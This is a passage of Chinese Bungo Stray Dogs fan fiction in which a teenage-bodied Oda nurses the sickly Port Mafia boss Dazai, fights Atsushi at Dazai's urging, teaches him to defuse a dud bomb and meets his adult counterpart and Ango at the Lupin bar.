首领的卧室就在办公区域的侧后方,中岛敦一进去,就看到太宰治平躺在床上,身上盖着深色的丝绸被。 察觉到有人靠近,太宰治睁开眼,平静地看了他一眼。 “是敦君啊。” 说完这句话后,他便又闭上了眼睛。 他日思夜想的织田作亲笔手稿就在身边晃来晃去却看不到,世界上再也没有比这更令他感到痛苦的事了。 见到太宰治神情恹恹,看起来格外虚弱不振,中岛敦担忧地上前一步,但立刻想到了他和太宰治之间不可逾越的上下级关系,于是立马止步于床前。 太宰先生需要静养,我应该离开。 中岛敦这样想着,将心中提前准备好的各种关心问候的话压下。 已经确认过太宰先生的状况了,我不该再打扰太宰先生。 他转身准备离开,可就在这一刻,“虎”的直觉突然向他示警。 中岛敦突然顿住,他再次看向盖在太宰治身上的被子。 哪里不太对劲。 以太宰先生的性格,他很少将脆弱的一面展示在他人面前。 就算是生病,遇到部下前来探望,太宰先生也会强撑着坐起来,而不是躺在床上,从他出现到现在,手脚甚至动都没动一下。 “抱歉了,太宰先生。” 他这么说着,突然一把掀开了太宰治身上盖着的被子。 然后他就看到纤细柔弱的太宰先生只穿着宽松的休闲裤和衬衣被人五花大绑在床上! 情急之下他来不及思考太宰治压根不是那种会心甘情愿被束缚的性格,这样做或许有特别的原因。 中岛敦手脚立即不受控制地虎化,织田作根本来不及阻止,前者已经为太宰治解开了绳子,此刻正小心翼翼地扶着太宰治坐起来。 “太宰先生,您没事吧,是我来晚了!” 中岛敦自责道。 说完,他来不及观察太宰治的反应,恶狠狠地盯着织田作。 “你竟然敢挑衅港口Mafia!” 织田作:“……” 嘴上这样威胁着,中岛敦并没有第一时间发动攻击。 被称为“白色死神”的少年用暗金色的兽瞳紧盯着织田作的动作,他上半身前倾,兽化的手臂和双腿像野兽一样蓄势待发。 他在等待太宰治的指令。 眼前的红发少年是个恐怖的强敌,“虎”的第六感让他全身不受控制地颤栗起来。 获胜的概率很小,此刻最优的方案是带着太宰先生立即逃出去,但唯一的出口被对方堵住了。 要战斗吗? 太宰先生会对他下达怎样的命令呢? 太宰治靠坐在床上,他对上织田作依旧淡定无比的海蓝色眼眸。 面无表情的红发少年沉默地注视着他们,视线偶尔会从中岛敦身上掠过,简单评估过后者的实力便若无其事地移开。 显然,在织田作看来,虎化的中岛敦不会对他构成威胁。 这样可不行啊。 太宰治不怀好意地想到,中岛敦可是他亲自选中培养的关键角色,在他离开后可是要由后者承担起守护横滨的重任。 既然织田作觉得自己能应付中岛敦的话,他稍微挑拨两句应该没关系吧。 织田作看到太宰治突然朝自己露出意味深长的笑。 那一瞬间,对方和自己记忆中的少年【太宰治】的形象重合。 在他初遇【太宰治】的时候,后者也是在他们遭遇警察上门调查的紧要关头,刻意挣扎弄出动静,害得他被抓起来还挨了一顿毒打。 就像是有着最无辜单纯外表的邪恶小黑猫突然朝装满开水的杯子伸爪,正中下方只穿了凉拖鞋的脚。 “敦。” 太宰治命令道,“抓住他,然后把他口袋里的文稿搜出来给我。” 来自首领的命令似乎解开了中岛敦身上那条无形的锁链,虎化的黑衣少年立刻犹如一支离弦之箭,闪电般袭向织田作。 对此,织田作先是看了太宰治一眼。 无可奈何中带着“没办法只有这样了”的包容。 【天衣无缝】早已发动,他轻而易举地避开了中岛敦的进攻。 比起曾经在武装侦探社见过的小老虎,面前的这位攻势更加凌厉,但总有种不协调的感觉。 就像是他并不能完全掌握虎化的能力。 “虎”的力气轻松便能拍碎一个成年人的头骨。 织田作虽然不怕被拍碎头骨,但不便暴露太多非人类的实力。 他动作轻盈,手上不知何时多了两把手枪,辗转腾挪间,手枪已经上膛。 异能力将未来的可能性一一呈现眼前,织田作神色淡然,将逐渐失去理智的白虎吸引到外间的首领办公室,将危险与病人分割开来。 如果坂口安吾在的话,一定会大声吐槽:【你们到底谁才是敌人啊!为什么最后守护太宰的人变成了织田作先生啊! 】 先射出几发子/弹,利用跳弹现象同时击中半空中满眼只剩下进攻的白虎。 注意到大部分子/弹都被坚硬的虎皮挡住,只有腹部此类柔软的位置在缓慢地渗血,但很快就痊愈了。 冷静地观察着白虎的恢复速度,织田作灵活地躲过对方的杀招。 视线扫过白虎各个致命部位,杀手的本能让他下意识地瞄准了白虎的下颌。 如果从那里近距离射入子/弹,瞬间能捣烂白虎的大脑。 这样想着,他的身体已经自动采取了对应的行动。 直到快扣下扳/机时,织田作才意识到不对劲。 对方可是太宰治的部下! 趁着身体正飞速地从白虎下方滑过,他紧急转向,瞄准心脏下方的位置开/枪。 打中的话,应该能让对方因为伤势过重无法在短时间内恢复战斗能力,但也不至于致命。 有这些年来的经验积累,织田作很清楚如何让一个人失去行动能力但仍保留一口气。 “砰!” 巨大的白虎重重地砸在地板上,挣扎着起身无果后,发出几声粗重的喘息便彻底倒下了。 蓝白色的异能光芒闪过,趴在地上的白虎变回了中岛敦。 “果然还是不行啊。” 太宰治施施然走过来,语气中带着惋惜。 也不知道他是为中岛敦的重伤惨败而感到惋惜,还是因为没能拿到手稿。 织田作既没有问他为什么要诱导中岛敦和自己动手,也没有问哪里不行。 因为以他对太宰治的了解,对方做的每一件事都是有理由的。 他只是走到中岛敦身边蹲下,将人翻过来,拿着刚刚从办公桌抽屉里找到的酒精和绷带为后者处理起伤口。 不要问织田作为什么能这么快找到酒精和绷带,问就是天然的直觉。 “他需要治疗。”目前能做的只有最简单的清创,还好子/弹没有留在体内,虽然“白虎”有一定的自愈能力,但以当前的伤势,必须在他自愈前进行一定的治疗。 暂时止住出血后,织田作转向一旁看热闹的太宰治,无情地宣判道:“你也是。” 这位太宰治的身体状况已经跌到了一个临界值。 严重的营养不良和胃病让他脸色苍白得看不出一丝血色,加上在最应该静养的时候被人从床上薅起来看异能者打架,吸入了不知多少灰尘后,还光着脚站在冰冷的地板上毫无病人的自觉。 被织田作盯着,太宰治突然有种被一双无形的大手抓住了命运的后颈皮的错觉。 “等等,我只是想看看织田作的手稿而已,要不是敦君擅作主张掀开被子……” 作为优秀的首领,就是得会面无表情地甩锅给部下。 遗憾的是织田作完全不被首领大人的诡辩所迷惑。 —— 当中原中也以为自己终于能回家休息时,又被部下一通紧急电话叫了回来。 说是首领室发生了暴乱,请求干部大人立即前往镇压。 严格来说,这种可能威胁到组织存亡的事件,首领之下的五大干部都应该立即前往保护首领的安全。 但首领本人下令,要求只能是中原中也独自前来。 中原中也:“……” 很好,混蛋太宰,你最好真的有事! 于是,中原中也带着一肚子的火一脚踹飞首领室大门,还没来得及发出战斗宣言,就看到一地的狼藉。 房间内一共有三个人。 中岛敦仰躺在地上,双眼紧闭,浑身是血,显然是战败了。 新加入的织田作正扛着仿佛失去灵魂的首领往卧室走,看样子是他保护了首领,现在正要把脆弱的首领安置回床上。 那么问题来了。 拔剑四顾心茫然的中原中也:“敌人在哪?” ———————— !!———————— 原本番外只准备写五章左右的,但是怎么越写越多啊[鸽子] 第85章 中原中也来了又走了。 只是来的时候空着手,走的时候带上了一只昏迷的人虎和满肚子火气。 对于干部大人的怒火,太宰治表示只要不影响他和织田作独处,随便对方怎么在心底骂自己都行。 至于织田作,他压根没发现中原中也发火了。 将轻飘飘的太宰治放到床边的软凳上,织田作确认对方暂时没有搞事的打算后,熟练地换起了床单。 刚刚扛着太宰治的时候他悄悄掂了两下。 太轻了。 比起他认识的那位【太宰治】,面前这位就像是只剩下一层外皮和骨架的人偶,仅靠着一股强韧的执念支撑到现在。 将被虎爪撕成一条一条的床单换下,织田作像是背后长了双眼睛一样,侧身躲过太宰治伸向自己口袋的手。 他回头,沉默地盯着对方。 虽然脸上没有因为对方冒犯的举动表现出愤怒或是诧异的神情,但太宰治读懂了他想表达的含义。 ——等你痊愈了才能看手稿。 “呜——” 太宰治默默坐回软凳,不甘心地举起双手做了个投降的手势。 他刚刚看到织田作把断掉的绳子丢进了垃圾箱,并且没有寻找替代品的打算。 要是因为一时的莽撞而失去这份来之不易的信任的话,那可就得不偿失了。 很快将床单换好,织田作熟练地再次将太宰治运送到浴室,一边放热水一边示意他可以脱衣服了。 太宰治:“……” 因为织田作的举动太过行云流水,以至于他差点被对方亲自上手脱衣服时才惊觉自己好歹是个成年人,怎么可以让未成年帮自己洗澡! 他坐在浴缸边,屁股下面冰凉的触感逐渐蔓延到全身。 双手死死地抓着衬衣避免被织田作得手,一向稳坐后方运筹帷幄的太宰治难得露出了称得上慌乱的情绪。 “等等,我可以自己洗的!” 此刻的他看起来像是个不小心步入了风俗店的正经人,既对接下来可能发生的事感到好奇,又被内心的良知谴责无法释怀。 但很快,太宰治回过神来,看着挽起袖子准备使用武力的织田作。 “不对,我为什么要洗澡?” 织田作歪了歪头,大概是在思考,然后他说:“因为弄脏了。” 太宰治不但光着脚在地上走来走去,身上还被战斗产生的灰尘波及。 他是不会允许病人带着满身的尘土上床的。 看出织田作不容拒绝的态度,太宰治担心下一秒对方就会失去耐心然后强行脱掉自己的衣服。 开什么玩笑!他现在可是成年人了,成年人的自尊绝不允许他被少年织田作按在浴缸洗澡。 再怎么也得是成年的织田作才行! 出于对织田作的了解,他赶紧主动解开扣子,并且保证道:“好啦,你看我可以自己洗澡的,难道我还能骗你不成。” 织田作想了想。 眼前的太宰毕竟是Mafia可靠的首领,应该不至于在这种小事上说谎,于是他点了点头表示同意。 “我就在外面等你。” 直到织田作走出浴室并主动将门关好,把衬衫脱到一半的太宰治才终于松了口气。 当然他答应了对方的事也会好好做到,慢吞吞地将衣服脱下,然后对着镜子一圈一圈解开缠绕在身体上的绷带。 对着镜子,他看到镜中那个瘦骨嶙峋的阴郁青年的眼中,那盏即将燃尽的烛光似乎有重新亮起的迹象。 绷带下布满了各种伤痕,有别人造成的,也有自己造成的。 太宰治移开视线,在淋浴喷头下简单冲洗了一下后,缓缓坐进放满热水的浴缸。 寒意被驱逐,他放任身体向水中沉去。 真是令人发自内心感到幸福的暖意啊,如果能永远这样沉沦下去就好了—— 他闭上双眼,感受着无限迫近死亡的窒息感。 “哗啦!” 肩膀突然被铁钳一样的力道锁住,然后上半身被外力提出水面。 重获呼吸的太宰治睁开眼睛,正好对上织田作满是不赞同的海蓝色眼眸。 他好像理解了猫趴在浴缸边冲全身浸泡在水里的人类喵喵叫的理由。 人,咪很担心你。 “你泡太久了。” 织田作只是平静地提醒了一句,然后拿着浴袍就要直接把太宰治从水里捞起来。 貌似一不小心又当着织田作的面作死的太宰治赶紧换上阳光开朗的笑:“哈哈,其实我刚刚是在体验水下窒息疗养法哦,织田作没听说过吧。” 说着,他主动拿过浴袍,刷地一下从浴缸里起身,并且迅速将浴袍套在身上,遮住了那一身丑陋可怖的伤痕。 然后就因为起身的动作太猛顿时头晕眼花差点一头又栽回水里。 还好织田作扶住了他。 “没听说过。” 织田作打心底里认为太宰治见多识广,知道一些自己没听说过的偏方实属正常,于是很快就接受了这一说法,并且暗暗想到,或许下次可以推荐给安吾。 安吾经常加班熬夜,一定很需要疗养身体。 —— 照顾太宰治的日常并不无聊,甚至可以用精彩来形容。 随着激辣咖喱带来的负面效果逐渐褪去,恢复活力中的太宰治致力于用各种手段获取织田作的手稿。 包括但不限于假装摔倒趁织田作来扶自己的时候掏他的口袋、利用换衣服的时机在裤子上沾胶水、故意弄脏织田作的衣服然后趁他洗澡跑去翻手稿。 但这些尝试无一例外都以失败告终。 织田作的口袋像是连着异次元空间,有时候太宰治都怀疑手稿是不是真的存在。 意识到继续这样下去,可能会被太宰治不小心发现他亡灵的秘密,织田作采取了反击。 “再有下次的话,我会以横滨市民的名义每天赠送写满致谢和赞美的锦旗到港口大楼,并且注明港口Mafia首领太宰治收。” “不必担心没有邮递员敢接我的单。”织田作语气沉稳,带着言出必行的果决,“因为我会亲自送。” 太宰治:“……” 好可怕,光是想想都要因为铺天盖地的羞耻感喘不过气来了。 太宰治默默躺回床上,用行动展示了自己的配合。 对此,织田作欣慰地点了点头,警告起作用后就该给点甜头了,他拿出一张手稿,放到床头的柜子上。 “这是配合治疗的奖励。” 这种长辈夸奖小孩子乖乖吃药的语气…… 明明从外表上来看,小孩子的角色应该由少年模样的织田作担任才对。 但不得不承认的是,太宰治对于这样的对待很是受用。 虽然他默默将被子拉起来盖住了头,并且探出一只手“嗖”地一下将手稿拿进被窝。 也不知道他是怎么做到在漆黑的被窝中阅读文字这一点的。 闹腾的病患安静下来,织田作的护工工作告一段落。 他终于有时间思考当前的工作进度。 听太宰的意思,对于成为自己的同事这一提议,他并不排斥。 但对方似乎在那之前,有更重要的任务需要完成。 或许那个任务就是导致太宰死亡的根本原因。 距离那一天的到来,只剩下五天时间了。 在这前面的五天里,太宰一直待在自己身边,除了偶尔去办公室处理文件外哪里都没去。 似乎一切都在井然有序地进行着,包括太宰治预计的死亡。 —— “织田作~这些我看完啦,然后呢?” “只会吐槽的安吾为什么会占用这么多的篇幅啊,不能多写点我们吗?” “话说我还没有拆过哑/弹呢,织田作可以陪我拆一次吗?” 又过去了两天,太宰治基本上痊愈了,所以他一口气得到了剩下的全部手稿,虽然总共才五页不到。 看着故事中无赖派三人的相处日常,他丝毫没有局外人的自觉,自然而然地将自己代入到了【太宰治】的视角。 甚至在发现全文尚未完结时,暗搓搓地怂恿织田作把【太宰治】的结局改为打倒邪恶森鸥外,一举成为港口Mafia首领。 只拥有那段记忆的他当然是不甘愿被另一个【太宰治】比下去的。 被太宰治用满含期待的Blingbling的目光注视着,织田作默默移开视线。 心中的天平一下朝这边倾斜,一下朝那边倾斜。 虽然两边都是太宰治,但总得分个先来后到吧。 小说家的良知不断提醒他这是【太宰治】约的稿,贸然修改结尾可能会令对方伤心。 可内心的善念又在反复强调眼前的太宰治很需要他的偏爱。 看着少年模样的织田作露出纠结的表情,太宰治更是用惹人怜爱的嗓音祈求道:“织田作~” 看完织田作之助的故事,他已经推理出面前的织田作虽然外表是少年,但能写出那些经历的对方一定不止十五岁。 是成年体的织田作因为某种原因被困在了少年时期的身体里。 更有趣了啊!是限定版自带神秘背景的织田作! 织田作差一点就要同意了,但他在即将答应的瞬间良知觉醒,并且将话题转移到哑/弹上。 “我教你拆哑/弹吧。” 他记得黑/手/党时期的【太宰治】对这个非常感兴趣,所以不要再缠着他修改结局了。 “……好吧。”太宰治回答得有些不情愿。 但他也知道织田作做出决定便不会轻易修改。 算了,拆哑/弹其实也还行。 毕竟另一个【太宰治】可没有享受过被织田作手把手教学如何拆哑/弹的至尊服务。 哼。 扳回一局。 在实施教学前,太宰治叫来了中岛敦,交给他一份文件,让后者带去武装侦探社后便拉着织田作前往武器部。 无意偷听他们的对话,但既然听到了,织田作便理所当然的认为这是他可以听的内容。 于是在前往武器部的路上,他问道:“武装侦探社?” 这个世界的太宰和武装侦探社的关系,感觉很微妙。 太宰治心情很好的样子,大概是终于实现了愿望。 “嗯哼,织田作也知道他们吧。” “是个不错的组织呢。”他语气轻快,“芥川君就在那边哦。” 根据他的推测,面前的织田作拥有和自己一样的记忆,所以这里太宰治并没有特别解释“芥川君”是谁。 侧头,他看向因为自己的解说而略显诧异的织田作,狡黠一笑后又补充了一句。 “说起来,织田作还是芥川君的入社介绍人呢。” 织田作肯定不会把太宰治口中的【织田作】当作是自己。 听对方这么说,他内心的疑惑解开了大半。 真是个奇怪的世界啊。 他想,这个世界的自己竟然会选择武装侦探社而不是港口Mafia,难道是因为侦探社开的工资更高吗? ———————— !!———————— 不,是太宰介绍你过去的[小丑]《 》 【全文完】 第86章 拆除哑/弹对织田作来说不过是一项闭着眼睛都能完美解决的小事。 因为【天衣无缝】会告诉他如何处理才能避免引爆。 但要让他就此进行教学授课的话…… 织田作在一众惶恐不安的黑西装注视下,三两下处理好一颗哑/弹。 他一如既往地沉稳平静:“这样,然后这样,再这样,就可以了。” 在这过程中,太宰治全程目不转睛地看着,眼中带着前所未有的认真和向往。 “原来是这样!接下来轮到我了!” 他兴致勃勃的样子让黑西装们内心的惶恐更甚,那是一瞬间就能把所有人炸上天的超级危险品啊!为什么首领会突然对这玩意儿感兴趣啊! 已经有人去找中原中也。 只可惜靠谱的干部大人听说太宰治是和织田作在一起后,只吩咐了医疗部时刻待命。 已经上过一次当的他可不会再像上次一样傻乎乎地赶过来自找罪受了。 要知道上次把中岛敦送去医疗部后,太宰治顺手就给他安排了一个消除中岛敦对织田作的敌意的任务。 难道他看起来很像是善解人意的心理医生吗? ! 回想起他给中岛敦解释织田作身份的场景,中原中也忍不住攥紧拳头。 总之,如果又是太宰和那个小鬼鼓捣什么坏点子,他是绝对不会过去的。 太宰治拥有着远超人类的聪慧。 他能轻而易举地看穿一个人的内心想法,也能仅靠三两句话动摇原本坚如磐石的内心信念。 如果是他想做的事情…… 织田作觉得,只要是太宰,就一定能做到。 相比起成为港口Mafia的首领,拆除一枚哑/弹简直就像是手搓航母和步行买菜的区别。 但太宰治在成功后,露出了比登月还要高兴的笑容。 “唔哦!大成功!” 他高兴地捧着一枚失去作用的哑/弹,脸上带着前所未有的喜悦和兴奋,像是完成了某项人生目标一样。 本以为太宰治期待的结果是和自己一起被炸上天的织田作对此接受良好,并且爽快地给出了鼓励与认可:“不愧是太宰。” 他的声音听不出起伏,但太宰治知道这是对方发自内心的赞美。 于是他更高兴了。 而太宰治一高兴就会选择性地忘记自己的身份,在众人惊慌失措的表情下随手丢开哑/弹,抓住织田作的手臂轻轻摇晃并建议道:“我们去看电影吧!” 织田作也不是爱扫兴的性子,更何况是太宰治的邀请,他立即答应了下来。 —— 近期没什么特别精彩的电影上映,织田作和换上深色风衣的太宰治来到电影院才发现他们其实对电影没什么偏好。 在一堆动作片、恐怖片、爱情片中,太宰治托着下巴思索片刻,然后随手一指。 “就这个吧。” 顺着他手指的方向看过去,织田作念出电影的名字:“少年与幼犬。” 看起来是很温馨的儿童向影片。 他没什么意见,爽快地买了两张票。 然后,在一堆家长与孩子的组合中,突兀的加入了织田作和太宰治这样的观众。 好在他们都不介意周围的目光。 电影很快开始,随着剧情的推进,情感充沛的孩子们很快便因为少年与幼犬的感人羁绊低声啜泣,不少共情能力强的家长也趁着喝水的机会拭去眼角的泪水。 这就显得面无表情的织田作和太宰治更突兀了。 太宰治像是透过少年和他捡到的幼犬看到了更深层次的内容,继而联想到了什么,一副若有所思的样子。 直到电影结束,他才从过度的思考中缓过神来,注意到织田作仍在看着屏幕上滚动的主创名单,太宰治轻轻碰了下对方的手臂。 “织田作?” 红发少年侧过头,眼底似有光芒闪烁,用前所未有的认真语气说:“很好看、很感人的一部电影。” 织田作很少看电影,生前是因为要兼顾工作和照顾孩子们,几乎没什么空余的时间。 死后在地府偶尔也会遇上鬼灯大人组织的集体观影吗,但大部分都是看一些与地府传说相关的影片。 像今天这种电影,他是第一次看。 见他这样,太宰治先是愣了一下,然后很快就笑了起来。 “原来织田作喜欢这种类型的电影啊。” 织田作也不扭捏,坦然承认:“少年和幼犬的羁绊很感人,我会推荐大家来看的。” 不过他看太宰治竟然不反感这种题材,稍稍有些意外。 毕竟生前他可是经常听太宰抱怨“讨厌不听话的狗狗”“比起脏兮兮的狗更喜欢爱干净的猫”之类的话。 看样子太宰也没那么讨厌狗嘛。 太宰治抓住了织田作话中的重点:“大家?” 织田作在这个世界没有熟人。 要推荐其他人观看的话,只能是回到他原本的世界之后,电影上映的时间一般在一个月左右,所以织田作有信心在一个月内回到他的世界吗? 他想到了织田作向自己递来的橄榄枝。 虽然不知道对方有多少把握带着他跨越世界的壁垒,但太宰治多少有些期待了。 如果知道自己已决定赴死,织田作会怎么做呢? “有机会我会介绍大家和你认识的。”织田作没有具体说明有哪些人。 “那还真是期待啊。” 织田作和太宰治起身走出影院。 因为后者不想这么快回组织,于是织田作陪着他漫无目的地在路上闲逛起来。 说是漫无目的其实也不准确,因为他们一路闲逛着竟来到了Lupin酒吧。 织田作还没反应过来,太宰治已经熟门熟路地推门进去了。 酒吧内的设置和他生前常去的Lupin几乎一模一样,包括站在吧台后清洁酒杯的老板也是。 “既然都走到这里了,干脆喝一杯再回去吧。”太宰治坐在转椅上灵活地转了一圈,“老板,一杯加洗洁精的威士忌~” 他用开朗轻快的声线点单,和几天前织田作见到的吸血鬼一样的阴郁男判若两人。 老板:“抱歉,本店无法提供您所说的酒。” 织田作走到太宰治身边坐下。 “蒸馏酒。” 他不会像安吾一样在太宰提出某些奇怪的要求后立马站出来批判,因为他觉得太宰这样说,一定有他自己的道理。 就像那道和板砖一样坚硬的豆腐料理,尝起来其实味道挺不错。 被拒绝的太宰治也不气馁,继续问:“那用肥皂水调配的鸡尾酒呢?” “抱歉,也没有。” “啊~怎么都没有啊。”太宰治趴在桌上,“那给我一杯啤酒吧。” “请稍等。” “吱呀——” 等待期间,酒吧的门又被人推开了。 织田作并不好奇后面的客人是谁,但对方死死钉在他脸上的视线太明显了,根本无法忽视,于是他转过头去。 ——是这个世界的坂口安吾,还有成年体【织田作之助】。 走在前面的坂口安吾停在向下的阶梯上,看动作是想退出去重新进一次,妄想通过刷新让不科学的存在消失眼前。 他肯定是最近加班太累了,否则怎么可能在酒吧看到一个少年体的织田先生呢。 一定是太累导致出现幻觉了。 他摘下眼镜,揉了揉疲惫的双眼。 再次睁开时,很好,【织田作之助】还在,坂口安吾满意地转头,对上了少年织田作平静的双眼。 “两个织田先生!”他突然大喊出声。 在坂口安吾陷入混乱之际,织田作和【织田作之助】只是面无表情地互相颔首示意。 虽然这一幕很怪异,就像是志怪小说中会出现的恐怖场景,他们也只是平静地接受了现实。 既然都遇上了,这也没办法装作没发生啊。 他们的脑回路默契地同步了。 “总之先坐下来吧。” 【织田作之助】推着坂口安吾坐下,他挨着少年织田作,而坂口安吾挨着他。 两位织田作完美地隔开了容易引发吐槽的太宰治和吐槽役坂口安吾。 “你好,我是织田作之助。”【织田作之助】率先打破沉默。 在他看来,眼前的少年似乎是少年时期的自己,作为成年人,他应该主动些。 “你好,我也是织田作之助。”少年织田作跟着自我介绍道。 坂口安吾捂脸:“等等,为什么这么自然地就自我介绍上了啊,而且你们真的不觉得这样的介绍有点诡异吗?” 坐在最里侧的太宰治探出头,开朗道:“你们好,我是织田作的朋友太宰哦~” “为什么你也理所当然地加入了!” 哪怕不认识,坂口安吾吐槽起来也是毫不留情,“还有织田作是什么奇怪的称呼啊!” 可惜这里无人理解坂口安吾的吐槽,已经做完自我介绍的三位齐刷刷地看向坂口安吾,什么都没说,却又什么都说了。 坂口安吾:“……” “好了好了,我说还不行吗!我叫坂口安吾,请多指教!” 简单的互相认识后,【织田作之助】看向织田作面前的蒸馏酒,视线中隐隐带着对未成年人饮酒的不赞同。 织田作不得不再次为自己的年龄做出解释:“我成年了,只是因为某种原因只能以当前的外表活动。” “这样啊。”【织田作之助】瞬间就接受了这样的解释。 他觉得自己应该不至于在这种小事上撒谎。 坂口安吾:“……” 他张了张嘴,碍于和少年织田作不熟,只好把吐槽咽了下去。 “是为了委托才这样的吗?” 遇到同位体这种奇妙的经历并没有让【织田作之助】感到慌乱,严格说起来,他其实有点好奇。 织田作点了点头,少年稚气的容貌搭配着严肃认真的表情,让一旁的坂口安吾默默移开视线。 他真的好想吐槽! 【织田作之助】:“需要帮助吗?” 织田作:“多谢,不过不需要了,委托已经快结束了。” “那真是太好了。”【织田作之助】语气平静,说着他话锋一转,“虽然这样问有些冒犯,但能说一下你现在的职业吗?” 突然遇到少年模样的自己,不产生怀疑是绝对不可能的。 直觉告诉他面前的少年就是织田作之助,但世界上真的会存在两个一模一样的织田作之助吗? 异能攻击?还是有什么特殊的原因? 见友人如此直白地表示出自己的怀疑,坂口安吾在一旁无奈地捂脸,但同时也配合着提高了警惕。 织田作并没有觉得哪里不对,他回头看了一眼从自我介绍后就一直乖巧坐着听他们交谈的太宰治。 想到鬼灯大人安排的任务应该能圆满完成了,嘴角不由自主地上扬了一点点。 “我是一个小说家,来这里是为了挖角兼职编辑。” 地府和狱卒的话题都不能提,这样说其实不算说谎。 话音刚落,织田作就听到身后的太宰治小声地欢呼了一声。 【织田作之助】依然接受良好,因为他没有察觉到说谎的痕迹。 因此话语中的怀疑少了许多,甚至带了点欣慰:“那这位太宰先生就是你的新编辑了吧。” 只有坂口安吾面露痛苦地抓住【织田作之助】的肩膀。 “好歹怀疑一下吧,织田先生!” ———————— !!———————— 武侦织:没有说谎的气息,他真的是个小说家! [点赞] hhh主打一个有话就问,别人答什么信什么。《 》